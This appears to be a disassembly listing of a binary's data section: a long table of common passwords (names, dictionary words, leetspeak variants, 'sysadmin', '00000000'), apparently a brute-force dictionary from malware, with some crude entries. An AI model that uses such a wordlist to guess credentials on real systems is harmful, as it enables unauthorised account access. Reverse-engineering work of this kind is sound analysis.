aElizabeth	db 'elizabeth',0        ; DATA XREF: .nsp0:00427824o
		align 4
aEiderdown	db 'eiderdown',0        ; DATA XREF: .nsp0:00427820o
		align 10h
aEdinburgh	db 'edinburgh',0        ; DATA XREF: .nsp0:0042781Co
		align 4
aDos		db 'dos',0              ; DATA XREF: .nsp0:00427818o
aDog		db 'dog',0              ; DATA XREF: .nsp0:00427814o
aDiscovery	db 'discovery',0        ; DATA XREF: .nsp0:00427810o
		align 10h
aDesperate	db 'desperate',0        ; DATA XREF: .nsp0:0042780Co
		align 4
aDeb		db 'deb',0              ; DATA XREF: .nsp0:00427808o
aCornelius	db 'cornelius',0        ; DATA XREF: .nsp0:00427804o
		align 4
aCommrades	db 'commrades',0        ; DATA XREF: .nsp0:00427800o
		align 4
aChristine	db 'christine',0        ; DATA XREF: .nsp0:004277FCo
		align 4
aChristina	db 'christina',0        ; DATA XREF: .nsp0:004277F8o
		align 10h
aChemistry	db 'chemistry',0        ; DATA XREF: .nsp0:004277F4o
		align 4
aCatherine	db 'catherine',0        ; DATA XREF: .nsp0:004277F0o
		align 4
aCat		db 'cat',0              ; DATA XREF: .nsp0:004277ECo
aCampanile	db 'campanile',0        ; DATA XREF: .nsp0:004277E8o
		align 4
aCad		db 'cad',0              ; DATA XREF: .nsp0:004277E4o
aBsd		db 'bsd',0              ; DATA XREF: .nsp0:004277E0o
aBob		db 'bob',0              ; DATA XREF: .nsp0:004277DCo
aBicameral	db 'bicameral',0        ; DATA XREF: .nsp0:004277D8o
		align 10h
aBeethoven	db 'beethoven',0        ; DATA XREF: .nsp0:004277D4o
		align 4
aAtmosphere	db 'atmosphere',0       ; DATA XREF: .nsp0:004277D0o
		align 4
aAsm		db 'asm',0              ; DATA XREF: .nsp0:004277CCo
aAsd		db 'asd',0              ; DATA XREF: .nsp0:004277C8o
aAnthropogenic	db 'anthropogenic',0    ; DATA XREF: .nsp0:004277C4o
		align 10h
aAnn		db 'ann',0              ; DATA XREF: .nsp0:004277C0o
aAndromache	db 'andromache',0       ; DATA XREF: .nsp0:004277BCo
		align 10h
aAmy		db 'amy',0              ; DATA XREF: .nsp0:004277B8o
aAmorphous	db 'amorphous',0        ; DATA XREF: .nsp0:004277B4o
		align 10h
aAma		db 'ama',0              ; DATA XREF: .nsp0:004277B0o
aAlf		db 'alf',0              ; DATA XREF: .nsp0:004277ACo
aAlbatross	db 'albatross',0        ; DATA XREF: .nsp0:004277A8o
		align 4
aAda		db 'ada',0              ; DATA XREF: .nsp0:004277A4o
aH4x0ring	db 'h4x0ring',0         ; DATA XREF: .nsp0:004277A0o
		align 4
aH4x0r1ng	db 'h4x0r1ng',0         ; DATA XREF: .nsp0:0042779Co
		align 10h
aH4x1ng		db 'h4x1ng',0           ; DATA XREF: .nsp0:00427798o
		align 4
aHaxing		db 'haxing',0           ; DATA XREF: .nsp0:00427794o
		align 10h
aHax		db 'hax',0              ; DATA XREF: .nsp0:00427790o
aWh0re		db 'wh0re',0            ; DATA XREF: .nsp0:0042778Co
		align 4
aHo		db 'ho',0               ; DATA XREF: .nsp0:00427788o
		align 10h
aWh0r3		db 'wh0r3',0            ; DATA XREF: .nsp0:00427784o
		align 4
aWindoze95	db 'windoze95',0        ; DATA XREF: .nsp0:00427780o
		align 4
aWindoze98	db 'windoze98',0        ; DATA XREF: .nsp0:0042777Co
		align 10h
aWindozeme	db 'windozeME',0        ; DATA XREF: .nsp0:00427778o
		align 4
aWindoze2k	db 'windoze2k',0        ; DATA XREF: .nsp0:00427774o
		align 4
aWindozexp	db 'windozexp',0        ; DATA XREF: .nsp0:00427770o
		align 4
aWindows95	db 'windows95',0        ; DATA XREF: .nsp0:0042776Co
		align 10h
aWindows98	db 'windows98',0        ; DATA XREF: .nsp0:00427768o
		align 4
aWindowsme	db 'windowsME',0        ; DATA XREF: .nsp0:00427764o
		align 4
aWindows2k	db 'windows2k',0        ; DATA XREF: .nsp0:00427760o
		align 4
aWindowsxp	db 'WindowsXP',0        ; DATA XREF: .nsp0:0042775Co
		align 10h
aMs		db 'MS',0               ; DATA XREF: .nsp0:00427758o
		align 4
aM_0		db 'M$',0               ; DATA XREF: .nsp0:00427754o
		align 4
aBilly		db 'billy',0            ; DATA XREF: .nsp0:00427750o
		align 10h
aWindose	db 'windose',0          ; DATA XREF: .nsp0:0042774Co
aWindoze	db 'windoze',0          ; DATA XREF: .nsp0:00427748o
aWindowz	db 'windowz',0          ; DATA XREF: .nsp0:00427744o
aWileecoyote	db 'wileecoyote',0      ; DATA XREF: .nsp0:00427740o
aDonaldduck	db 'donaldduck',0       ; DATA XREF: .nsp0:0042773Co
		align 10h
aAlexander	db 'Alexander',0        ; DATA XREF: .nsp0:00427738o
		align 4
aAl3x		db 'Al3x',0             ; DATA XREF: .nsp0:00427734o
		align 4
aDud3		db 'dud3',0             ; DATA XREF: .nsp0:00427730o
		align 4
aDudette	db 'dudette',0          ; DATA XREF: .nsp0:0042772Co
aD00d		db 'd00d',0             ; DATA XREF: .nsp0:00427728o
		align 4
aLol		db 'lol',0              ; DATA XREF: .nsp0:00427724o
aRoscopcoltrane	db 'RoscoPColtrane',0   ; DATA XREF: .nsp0:00427720o
		align 10h
aRoscop		db 'RoscoP',0           ; DATA XREF: .nsp0:0042771Co
		align 4
aRosco		db 'Rosco',0            ; DATA XREF: .nsp0:00427718o
		align 10h
aRoss		db 'Ross',0             ; DATA XREF: .nsp0:00427714o
		align 4
aTestin		db 'testin',0           ; DATA XREF: .nsp0:00427710o
		align 10h
aTester		db 'tester',0           ; DATA XREF: .nsp0:0042770Co
		align 4
a00000000	db '00000000',0         ; DATA XREF: .nsp0:00427708o
					; .nsp0:004279C4o
		align 4
aZulu		db 'zulu',0             ; DATA XREF: .nsp0:00427704o
		align 4
aZombie		db 'zombie',0           ; DATA XREF: .nsp0:00427700o
		align 4
aZmodem		db 'zmodem',0           ; DATA XREF: .nsp0:004276FCo
		align 4
aZimmerma	db 'zimmerma',0         ; DATA XREF: .nsp0:004276F8o
		align 4
aZiggy		db 'ziggy',0            ; DATA XREF: .nsp0:004276F4o
		align 10h
aZeitgeis	db 'zeitgeis',0         ; DATA XREF: .nsp0:004276F0o
		align 4
aZebra		db 'zebra',0            ; DATA XREF: .nsp0:004276ECo
		align 4
aYoung		db 'young',0            ; DATA XREF: .nsp0:004276E8o
		align 4
aYosemite	db 'yosemite',0         ; DATA XREF: .nsp0:004276E4o
		align 4
aYolanda	db 'yolanda',0          ; DATA XREF: .nsp0:004276E0o
aYellowst	db 'yellowst',0         ; DATA XREF: .nsp0:004276DCo
		align 4
aYellow		db 'yellow',0           ; DATA XREF: .nsp0:004276D8o
		align 4
aYankee		db 'yankee',0           ; DATA XREF: .nsp0:004276D4o
		align 4
aYang		db 'yang',0             ; DATA XREF: .nsp0:004276D0o
		align 4
aYaco		db 'yaco',0             ; DATA XREF: .nsp0:004276CCo
		align 4
aXyzzy		db 'xyzzy',0            ; DATA XREF: .nsp0:004276C8o
		align 4
aXray		db 'xray',0             ; DATA XREF: .nsp0:004276C4o
		align 4
aXmodem		db 'xmodem',0           ; DATA XREF: .nsp0:004276C0o
		align 4
aXmen		db 'xmen',0             ; DATA XREF: .nsp0:004276BCo
		align 4
aXman		db 'xman',0             ; DATA XREF: .nsp0:004276B8o
		align 4
aXfer		db 'xfer',0             ; DATA XREF: .nsp0:004276B4o
		align 4
aXena		db 'xena',0             ; DATA XREF: .nsp0:004276B0o
		align 4
aWyoming	db 'wyoming',0          ; DATA XREF: .nsp0:004276ACo
aWwii		db 'wwii',0             ; DATA XREF: .nsp0:004276A8o
		align 4
aWormwood	db 'wormwood',0         ; DATA XREF: .nsp0:004276A4o
		align 10h
aWorm		db 'worm',0             ; DATA XREF: .nsp0:004276A0o
		align 4
aWork		db 'work',0             ; DATA XREF: .nsp0:0042769Co
		align 10h
aWorf		db 'worf',0             ; DATA XREF: .nsp0:00427698o
		align 4
aWordperf	db 'wordperf',0         ; DATA XREF: .nsp0:00427694o
		align 4
aWord		db 'word',0             ; DATA XREF: .nsp0:00427690o
		align 4
aWoodwind	db 'woodwind',0         ; DATA XREF: .nsp0:0042768Co
		align 4
aWood		db 'wood',0             ; DATA XREF: .nsp0:00427688o
		align 10h
aWomen		db 'women',0            ; DATA XREF: .nsp0:00427684o
		align 4
aWombat		db 'wombat',0           ; DATA XREF: .nsp0:00427680o
		align 10h
aWoman		db 'woman',0            ; DATA XREF: .nsp0:0042767Co
		align 4
aWolverin	db 'wolverin',0         ; DATA XREF: .nsp0:00427678o
		align 4
aWolf		db 'wolf',0             ; DATA XREF: .nsp0:00427674o
		align 4
aWizard		db 'wizard',0           ; DATA XREF: .nsp0:00427670o
		align 4
aWithin		db 'within',0           ; DATA XREF: .nsp0:0042766Co
		align 4
aWiseass	db 'wiseass',0          ; DATA XREF: .nsp0:00427668o
aWisconsi	db 'wisconsi',0         ; DATA XREF: .nsp0:00427664o
		align 10h
aWired		db 'wired',0            ; DATA XREF: .nsp0:00427660o
		align 4
aWinston	db 'winston',0          ; DATA XREF: .nsp0:0042765Co
aWing		db 'wing',0             ; DATA XREF: .nsp0:00427658o
		align 4
aWine		db 'wine',0             ; DATA XREF: .nsp0:00427654o
		align 10h
aWindows	db 'windows',0          ; DATA XREF: .nsp0:00427650o
aWilma		db 'wilma',0            ; DATA XREF: .nsp0:0042764Co
		align 10h
aWillie		db 'willie',0           ; DATA XREF: .nsp0:00427648o
		align 4
aWilliams	db 'williams',0         ; DATA XREF: .nsp0:00427644o
		align 4
aWilliam	db 'william',0          ; DATA XREF: .nsp0:00427640o
aWill		db 'will',0             ; DATA XREF: .nsp0:0042763Co
		align 4
aWhore		db 'whore',0            ; DATA XREF: .nsp0:00427638o
		align 4
aWholesal	db 'wholesal',0         ; DATA XREF: .nsp0:00427634o
		align 4
aWhitney	db 'whitney',0          ; DATA XREF: .nsp0:00427630o
aWhiting	db 'whiting',0          ; DATA XREF: .nsp0:0042762Co
aWhite		db 'white',0            ; DATA XREF: .nsp0:00427628o
		align 10h
aWhisky		db 'whisky',0           ; DATA XREF: .nsp0:00427624o
		align 4
aWhatnot	db 'whatnot',0          ; DATA XREF: .nsp0:00427620o
aWhatever	db 'whatever',0         ; DATA XREF: .nsp0:0042761Co
		align 4
aWestern	db 'western',0          ; DATA XREF: .nsp0:00427618o
aWest		db 'west',0             ; DATA XREF: .nsp0:00427614o
		align 4
aWerewolf	db 'werewolf',0         ; DATA XREF: .nsp0:00427610o
		align 4
aWendy		db 'wendy',0            ; DATA XREF: .nsp0:0042760Co
		align 10h
aWendi		db 'wendi',0            ; DATA XREF: .nsp0:00427608o
		align 4
aWell		db 'well',0             ; DATA XREF: .nsp0:00427604o
		align 10h
aWeenie		db 'weenie',0           ; DATA XREF: .nsp0:00427600o
		align 4
aWeed		db 'weed',0             ; DATA XREF: .nsp0:004275FCo
		align 10h
aWednesda	db 'wednesda',0         ; DATA XREF: .nsp0:004275F8o
		align 4
aWebpage	db 'webpage',0          ; DATA XREF: .nsp0:004275F4o
aWave		db 'wave',0             ; DATA XREF: .nsp0:004275F0o
		align 4
aWater		db 'water',0            ; DATA XREF: .nsp0:004275ECo
		align 4
aWatchwor	db 'watchwor',0         ; DATA XREF: .nsp0:004275E8o
		align 10h
aWasp		db 'wasp',0             ; DATA XREF: .nsp0:004275E4o
		align 4
aWarren		db 'warren',0           ; DATA XREF: .nsp0:004275E0o
		align 10h
aWarp		db 'warp',0             ; DATA XREF: .nsp0:004275DCo
		align 4
aWargames	db 'wargames',0         ; DATA XREF: .nsp0:004275D8o
		align 4
aWarfare	db 'warfare',0          ; DATA XREF: .nsp0:004275D4o
aWarez		db 'warez',0            ; DATA XREF: .nsp0:004275D0o
		align 4
aWard		db 'ward',0             ; DATA XREF: .nsp0:004275CCo
		align 4
aWaco		db 'waco',0             ; DATA XREF: .nsp0:004275C8o
		align 4
aVodka		db 'vodka',0            ; DATA XREF: .nsp0:004275C4o
		align 4
aVisualba	db 'visualba',0         ; DATA XREF: .nsp0:004275C0o
		align 4
aVisual		db 'visual',0           ; DATA XREF: .nsp0:004275BCo
		align 10h
aVisitor	db 'visitor',0          ; DATA XREF: .nsp0:004275B8o
aVirus		db 'virus',0            ; DATA XREF: .nsp0:004275B4o
		align 10h
aVirginia	db 'virginia',0         ; DATA XREF: .nsp0:004275B0o
		align 4
aVirgin		db 'virgin',0           ; DATA XREF: .nsp0:004275ACo
		align 4
aVillage	db 'village',0          ; DATA XREF: .nsp0:004275A8o
aVideogam	db 'videogam',0         ; DATA XREF: .nsp0:004275A4o
		align 4
aVideo		db 'video',0            ; DATA XREF: .nsp0:004275A0o
		align 10h
aVictor		db 'victor',0           ; DATA XREF: .nsp0:0042759Co
		align 4
aVicky		db 'vicky',0            ; DATA XREF: .nsp0:00427598o
		align 10h
aVertigo	db 'vertigo',0          ; DATA XREF: .nsp0:00427594o
aVeronica	db 'veronica',0         ; DATA XREF: .nsp0:00427590o
		align 4
aVenus		db 'venus',0            ; DATA XREF: .nsp0:0042758Co
		align 4
aVasant		db 'vasant',0           ; DATA XREF: .nsp0:00427588o
		align 4
aVampire	db 'vampire',0          ; DATA XREF: .nsp0:00427584o
aValerie	db 'valerie',0          ; DATA XREF: .nsp0:00427580o
aVagina		db 'vagina',0           ; DATA XREF: .nsp0:0042757Co
		align 4
aUucp		db 'uucp',0             ; DATA XREF: .nsp0:00427578o
		align 4
aUtility	db 'utility',0          ; DATA XREF: .nsp0:00427574o
aUtil		db 'util',0             ; DATA XREF: .nsp0:00427570o
		align 4
aUsmc		db 'usmc',0             ; DATA XREF: .nsp0:0042756Co
		align 4
aUsername	db 'username',0         ; DATA XREF: .nsp0:00427568o
		align 4
aUsermane	db 'usermane',0         ; DATA XREF: .nsp0:00427564o
		align 4
aUsenet		db 'usenet',0           ; DATA XREF: .nsp0:00427560o
		align 4
aUrsula		db 'ursula',0           ; DATA XREF: .nsp0:0042755Co
		align 4
aUrchin		db 'urchin',0           ; DATA XREF: .nsp0:00427558o
		align 4
aUranus		db 'uranus',0           ; DATA XREF: .nsp0:00427554o
		align 4
aUpload		db 'upload',0           ; DATA XREF: .nsp0:00427550o
		align 4
aUnlock		db 'unlock',0           ; DATA XREF: .nsp0:0042754Co
		align 4
aUnknown_0	db 'unknown',0          ; DATA XREF: .nsp0:00427548o
aUniversi	db 'universi',0         ; DATA XREF: .nsp0:00427544o
		align 4
aUniverse	db 'universe',0         ; DATA XREF: .nsp0:00427540o
		align 4
aUniversa	db 'universa',0         ; DATA XREF: .nsp0:0042753Co
		align 10h
aUniform	db 'uniform',0          ; DATA XREF: .nsp0:00427538o
aUnicorn	db 'unicorn',0          ; DATA XREF: .nsp0:00427534o
aUnhappy	db 'unhappy',0          ; DATA XREF: .nsp0:00427530o
aUndo		db 'undo',0             ; DATA XREF: .nsp0:0042752Co
		align 10h
aUncle		db 'uncle',0            ; DATA XREF: .nsp0:00427528o
		align 4
aUmesh		db 'umesh',0            ; DATA XREF: .nsp0:00427524o
		align 10h
aUgly		db 'ugly',0             ; DATA XREF: .nsp0:00427520o
		align 4
aTuttle		db 'tuttle',0           ; DATA XREF: .nsp0:0042751Co
		align 10h
aTurn		db 'turn',0             ; DATA XREF: .nsp0:00427518o
		align 4
aTuesday	db 'tuesday',0          ; DATA XREF: .nsp0:00427514o
aTubas		db 'tubas',0            ; DATA XREF: .nsp0:00427510o
		align 4
aTruth		db 'truth',0            ; DATA XREF: .nsp0:0042750Co
		align 10h
aTrue		db 'true',0             ; DATA XREF: .nsp0:00427508o
		align 4
aTron		db 'tron',0             ; DATA XREF: .nsp0:00427504o
		align 10h
aTrombone	db 'trombone',0         ; DATA XREF: .nsp0:00427500o
		align 4
aTrojan		db 'trojan',0           ; DATA XREF: .nsp0:004274FCo
		align 4
aTrivial	db 'trivial',0          ; DATA XREF: .nsp0:004274F8o
aTrisha		db 'trisha',0           ; DATA XREF: .nsp0:004274F4o
		align 4
aTrek		db 'trek',0             ; DATA XREF: .nsp0:004274F0o
		align 4
aTree		db 'tree',0             ; DATA XREF: .nsp0:004274ECo
		align 4
aTrapdoor	db 'trapdoor',0         ; DATA XREF: .nsp0:004274E8o
		align 10h
aTrap		db 'trap',0             ; DATA XREF: .nsp0:004274E4o
		align 4
aTransfer	db 'transfer',0         ; DATA XREF: .nsp0:004274E0o
		align 4
aTrails		db 'trails',0           ; DATA XREF: .nsp0:004274DCo
		align 4
aTracy		db 'tracy',0            ; DATA XREF: .nsp0:004274D8o
		align 4
aTracie		db 'tracie',0           ; DATA XREF: .nsp0:004274D4o
		align 4
aTraci		db 'traci',0            ; DATA XREF: .nsp0:004274D0o
		align 4
aToyota		db 'toyota',0           ; DATA XREF: .nsp0:004274CCo
		align 4
aToxic		db 'toxic',0            ; DATA XREF: .nsp0:004274C8o
		align 4
aTortoise	db 'tortoise',0         ; DATA XREF: .nsp0:004274C4o
		align 10h
aTopograp	db 'topograp',0         ; DATA XREF: .nsp0:004274C0o
		align 4
aTomato		db 'tomato',0           ; DATA XREF: .nsp0:004274BCo
		align 4
aTokenrin	db 'tokenrin',0         ; DATA XREF: .nsp0:004274B8o
		align 10h
aToken		db 'token',0            ; DATA XREF: .nsp0:004274B4o
		align 4
aToggle		db 'toggle',0           ; DATA XREF: .nsp0:004274B0o
		align 10h
aToad		db 'toad',0             ; DATA XREF: .nsp0:004274ACo
		align 4
aTits		db 'tits',0             ; DATA XREF: .nsp0:004274A8o
		align 10h
aTina		db 'tina',0             ; DATA XREF: .nsp0:004274A4o
		align 4
aTime		db 'time',0             ; DATA XREF: .nsp0:004274A0o
		align 10h
aTiger		db 'tiger',0            ; DATA XREF: .nsp0:0042749Co
		align 4
aTiffany	db 'tiffany',0          ; DATA XREF: .nsp0:00427498o
aThursday	db 'thursday',0         ; DATA XREF: .nsp0:00427494o
		align 4
aThin		db 'thin',0             ; DATA XREF: .nsp0:00427490o
		align 4
aTheresa	db 'theresa',0          ; DATA XREF: .nsp0:0042748Co
aThailand	db 'thailand',0         ; DATA XREF: .nsp0:00427488o
		align 4
aText		db 'text',0             ; DATA XREF: .nsp0:00427484o
		align 10h
aTetris		db 'tetris',0           ; DATA XREF: .nsp0:00427480o
		align 4
aTess		db 'tess',0             ; DATA XREF: .nsp0:0042747Co
		align 10h
aTerminat	db 'terminat',0         ; DATA XREF: .nsp0:00427478o
		align 4
aTerminal	db 'terminal',0         ; DATA XREF: .nsp0:00427474o
		align 4
aTera		db 'tera',0             ; DATA XREF: .nsp0:00427470o
		align 10h
aTennis		db 'tennis',0           ; DATA XREF: .nsp0:0042746Co
		align 4
aTemptati	db 'temptati',0         ; DATA XREF: .nsp0:00427468o
		align 4
aTelnet		db 'telnet',0           ; DATA XREF: .nsp0:00427464o
		align 4
aTelephon	db 'telephon',0         ; DATA XREF: .nsp0:00427460o
		align 4
aTeenage	db 'teenage',0          ; DATA XREF: .nsp0:0042745Co
aTeen		db 'teen',0             ; DATA XREF: .nsp0:00427458o
		align 4
aTech		db 'tech',0             ; DATA XREF: .nsp0:00427454o
		align 10h
aTears		db 'tears',0            ; DATA XREF: .nsp0:00427450o
		align 4
aTeapot		db 'teapot',0           ; DATA XREF: .nsp0:0042744Co
		align 10h
aTeam		db 'team',0             ; DATA XREF: .nsp0:00427448o
		align 4
aTaylor		db 'taylor',0
		align 10h
aTarragon	db 'tarragon',0
		align 4
aTarget		db 'target',0
		align 4
aTara		db 'tara',0
		align 4
aTape		db 'tape',0
		align 4
aTango		db 'tango',0
		align 4
aTangerin	db 'tangerin',0
		align 4
aTammy		db 'tammy',0
		align 10h
aTamie		db 'tamie',0
		align 4
aTami		db 'tami',0
		align 10h
aTamara		db 'tamara',0
		align 4
aTall		db 'tall',0
		align 10h
aTalk		db 'talk',0
		align 4
aTabasco	db 'tabasco',0
aSysop		db 'sysop',0
		align 4
aSysadmin	db 'sysadmin',0
		align 4
aSymmetry	db 'symmetry',0         ; DATA XREF: .nsp0:00427400o
		align 10h
aSybil		db 'sybil',0            ; DATA XREF: .nsp0:004273FCo
		align 4
aSword		db 'sword',0            ; DATA XREF: .nsp0:004273F8o
		align 10h
aSwitch		db 'switch',0           ; DATA XREF: .nsp0:004273F4o
		align 4
aSweat		db 'sweat',0            ; DATA XREF: .nsp0:004273F0o
		align 10h
aSwearer	db 'swearer',0          ; DATA XREF: .nsp0:004273ECo
aSuzie		db 'suzie',0            ; DATA XREF: .nsp0:004273E8o
		align 10h
aSuzanne	db 'suzanne',0          ; DATA XREF: .nsp0:004273E4o
aSusie		db 'susie',0            ; DATA XREF: .nsp0:004273E0o
		align 10h
aSusanne	db 'susanne',0          ; DATA XREF: .nsp0:004273DCo
aSusan		db 'susan',0            ; DATA XREF: .nsp0:004273D8o
		align 10h
aSurfing	db 'surfing',0          ; DATA XREF: .nsp0:004273D4o
aSurfer		db 'surfer',0           ; DATA XREF: .nsp0:004273D0o
		align 10h
aSupporte	db 'supporte',0         ; DATA XREF: .nsp0:004273CCo
		align 4
aSupport	db 'support',0          ; DATA XREF: .nsp0:004273C8o
aSupervis	db 'supervis',0         ; DATA XREF: .nsp0:004273C4o
		align 10h
aSuperuse	db 'superuse',0         ; DATA XREF: .nsp0:004273C0o
		align 4
aSupersta	db 'supersta',0         ; DATA XREF: .nsp0:004273BCo
		align 4
aSuperson	db 'superson',0         ; DATA XREF: .nsp0:004273B8o
		align 4
aSuperman	db 'superman',0         ; DATA XREF: .nsp0:004273B4o
		align 10h
aSunday		db 'sunday',0           ; DATA XREF: .nsp0:004273B0o
		align 4
aSummer		db 'summer',0           ; DATA XREF: .nsp0:004273ACo
		align 10h
aSucks		db 'sucks',0            ; DATA XREF: .nsp0:004273A8o
		align 4
aSuckmydi	db 'suckmydi',0         ; DATA XREF: .nsp0:004273A4o
		align 4
aSuck		db 'suck',0             ; DATA XREF: .nsp0:004273A0o
		align 4
aSuccess	db 'success',0          ; DATA XREF: .nsp0:0042739Co
aSubway		db 'subway',0           ; DATA XREF: .nsp0:00427398o
		align 4
aSubscrib	db 'subscrib',0         ; DATA XREF: .nsp0:00427394o
		align 4
aStuttgar	db 'stuttgar',0         ; DATA XREF: .nsp0:00427390o
		align 4
aStrip		db 'strip',0
		align 4
aString		db 'string',0
		align 4
aStreetfi	db 'streetfi',0
		align 10h
aStratfor	db 'stratfor',0
		align 4
aStrangle	db 'strangle',0
		align 4
aStrange	db 'strange',0
aStones		db 'stones',0
		align 4
aStoned		db 'stoned',0
		align 10h
aStoneage	db 'stoneage',0
		align 4
aSteve		db 'steve',0
		align 4
aStereo		db 'stereo',0
		align 4
aStephani	db 'stephani',0
		align 4
aSteph		db 'steph',0            ; DATA XREF: .nsp0:00427358o
		align 10h
aSteel		db 'steel',0            ; DATA XREF: .nsp0:00427354o
		align 4
aSteal		db 'steal',0            ; DATA XREF: .nsp0:00427350o
		align 10h
aSteak		db 'steak',0            ; DATA XREF: .nsp0:0042734Co
		align 4
aStarwars	db 'starwars',0         ; DATA XREF: .nsp0:00427348o
		align 4
aStartup	db 'startup',0          ; DATA XREF: .nsp0:00427344o
aStartrek	db 'startrek',0         ; DATA XREF: .nsp0:00427340o
		align 4
aStart		db 'start',0            ; DATA XREF: .nsp0:0040BE40o
					; .nsp0:0042733Co
		align 10h
aStarship	db 'starship',0         ; DATA XREF: .nsp0:00427338o
		align 4
aStar		db 'star',0             ; DATA XREF: .nsp0:00427334o
		align 4
aStacy		db 'stacy',0            ; DATA XREF: .nsp0:00427330o
		align 4
aStacie		db 'stacie',0           ; DATA XREF: .nsp0:0042732Co
		align 4
aStaci		db 'staci',0            ; DATA XREF: .nsp0:00427328o
		align 4
aStacey		db 'stacey',0           ; DATA XREF: .nsp0:00427324o
		align 4
aSr71		db 'sr71',0             ; DATA XREF: .nsp0:00427320o
		align 4
aSquires	db 'squires',0          ; DATA XREF: .nsp0:0042731Co
aSpunk		db 'spunk',0            ; DATA XREF: .nsp0:00427318o
		align 4
aSpringer	db 'springer',0         ; DATA XREF: .nsp0:00427314o
		align 4
aSpring		db 'spring',0           ; DATA XREF: .nsp0:00427310o
		align 10h
aSpred		db 'spred',0            ; DATA XREF: .nsp0:0042730Co
		align 4
aSpit		db 'spit',0             ; DATA XREF: .nsp0:00427308o
		align 10h
aSpiderma	db 'spiderma',0         ; DATA XREF: .nsp0:00427304o
		align 4
aSpider		db 'spider',0           ; DATA XREF: .nsp0:00427300o
		align 4
aSpice		db 'spice',0            ; DATA XREF: .nsp0:004272FCo
		align 4
aSpell		db 'spell',0            ; DATA XREF: .nsp0:004272F8o
		align 4
aSpear		db 'spear',0            ; DATA XREF: .nsp0:004272F4o
		align 4
aSparrows	db 'sparrows',0         ; DATA XREF: .nsp0:004272F0o
		align 4
aSpaceshi	db 'spaceshi',0         ; DATA XREF: .nsp0:004272ECo
		align 4
aSouth		db 'south',0            ; DATA XREF: .nsp0:004272E8o
		align 4
aSource		db 'source',0           ; DATA XREF: .nsp0:004272E4o
		align 4
aSossina	db 'sossina',0          ; DATA XREF: .nsp0:004272E0o
aSonya		db 'sonya',0            ; DATA XREF: .nsp0:004272DCo
		align 4
aSonic		db 'sonic',0            ; DATA XREF: .nsp0:004272D8o
		align 4
aSonia		db 'sonia',0            ; DATA XREF: .nsp0:004272D4o
		align 4
aSondra		db 'sondra',0           ; DATA XREF: .nsp0:004272D0o
		align 4
aSomebody	db 'somebody',0         ; DATA XREF: .nsp0:004272CCo
		align 4
aSoftware	db 'software',0         ; DATA XREF: .nsp0:004272C8o
		align 4
aSoft		db 'soft',0             ; DATA XREF: .nsp0:004272C4o
		align 4
aSodomy		db 'sodomy',0           ; DATA XREF: .nsp0:004272C0o
		align 4
aSocrates	db 'socrates',0         ; DATA XREF: .nsp0:004272BCo
		align 10h
aSocial		db 'social',0           ; DATA XREF: .nsp0:004272B8o
		align 4
aSoap		db 'soap',0             ; DATA XREF: .nsp0:004272B4o
		align 10h
aSnoopy		db 'snoopy',0           ; DATA XREF: .nsp0:004272B0o
		align 4
aSnatch		db 'snatch',0           ; DATA XREF: .nsp0:004272ACo
		align 10h
aSnake		db 'snake',0            ; DATA XREF: .nsp0:004272A8o
		align 4
aSnafu		db 'snafu',0            ; DATA XREF: .nsp0:004272A4o
		align 10h
aSnach		db 'snach',0            ; DATA XREF: .nsp0:004272A0o
		align 4
aSmut		db 'smut',0             ; DATA XREF: .nsp0:0042729Co
		align 10h
aSmtp		db 'smtp',0             ; DATA XREF: .nsp0:00427298o
		align 4
aSmother	db 'smother',0          ; DATA XREF: .nsp0:00427294o
aSmooch		db 'smooch',0           ; DATA XREF: .nsp0:00427290o
		align 4
aSmiles		db 'smiles',0           ; DATA XREF: .nsp0:0042728Co
		align 10h
aSmile		db 'smile',0            ; DATA XREF: .nsp0:00427288o
		align 4
aSmart		db 'smart',0            ; DATA XREF: .nsp0:00427284o
		align 10h
aSmall		db 'small',0            ; DATA XREF: .nsp0:00427280o
		align 4
aSlut		db 'slut',0             ; DATA XREF: .nsp0:0042727Co
		align 10h
aSlow		db 'slow',0             ; DATA XREF: .nsp0:00427278o
		align 4
aSliders	db 'sliders',0          ; DATA XREF: .nsp0:00427274o
aSlick		db 'slick',0            ; DATA XREF: .nsp0:00427270o
		align 4
aSlave		db 'slave',0            ; DATA XREF: .nsp0:0042726Co
		align 10h
aSkull		db 'skull',0            ; DATA XREF: .nsp0:00427268o
		align 4
aSite		db 'site',0             ; DATA XREF: .nsp0:00427264o
		align 10h
aSingle		db 'single',0           ; DATA XREF: .nsp0:00427260o
		align 4
aSinger		db 'singer',0           ; DATA XREF: .nsp0:0042725Co
		align 10h
aSimulati	db 'simulati',0         ; DATA XREF: .nsp0:00427258o
		align 4
aSimpsons	db 'simpsons',0         ; DATA XREF: .nsp0:00427254o
		align 4
aSimple		db 'simple',0           ; DATA XREF: .nsp0:00427250o
		align 10h
aSimon		db 'simon',0            ; DATA XREF: .nsp0:0042724Co
		align 4
aSimcity	db 'simcity',0          ; DATA XREF: .nsp0:00427248o
aSilver		db 'silver',0           ; DATA XREF: .nsp0:00427244o
		align 4
aSignatur	db 'signatur',0         ; DATA XREF: .nsp0:00427240o
		align 4
aSierra		db 'sierra',0           ; DATA XREF: .nsp0:0042723Co
		align 4
aSick		db 'sick',0             ; DATA XREF: .nsp0:00427238o
		align 4
aShuttle	db 'shuttle',0          ; DATA XREF: .nsp0:00427234o
aShort		db 'short',0            ; DATA XREF: .nsp0:00427230o
		align 4
aShivers	db 'shivers',0          ; DATA XREF: .nsp0:0042722Co
aShiva		db 'shiva',0            ; DATA XREF: .nsp0:00427228o
		align 4
aShitpot	db 'shitpot',0          ; DATA XREF: .nsp0:00427224o
aShit		db 'shit',0             ; DATA XREF: .nsp0:00427220o
		align 4
aShirley	db 'shirley',0          ; DATA XREF: .nsp0:0042721Co
aShift		db 'shift',0            ; DATA XREF: .nsp0:00427218o
		align 4
aSherri		db 'sherri',0           ; DATA XREF: .nsp0:00427214o
		align 4
aShell		db 'shell',0            ; DATA XREF: .nsp0:00427210o
		align 4
aSheldon	db 'sheldon',0          ; DATA XREF: .nsp0:0042720Co
aSheffiel	db 'sheffiel',0         ; DATA XREF: .nsp0:00427208o
		align 4
aSharon		db 'sharon',0           ; DATA XREF: .nsp0:00427204o
		align 10h
aSharks		db 'sharks',0           ; DATA XREF: .nsp0:00427200o
		align 4
aShark		db 'shark',0            ; DATA XREF: .nsp0:004271FCo
		align 10h
aSharc		db 'sharc',0            ; DATA XREF: .nsp0:004271F8o
		align 4
aShannon	db 'shannon',0          ; DATA XREF: .nsp0:004271F4o
aSexy		db 'sexy',0             ; DATA XREF: .nsp0:004271F0o
		align 4
aSesame		db 'sesame',0           ; DATA XREF: .nsp0:004271ECo
		align 10h
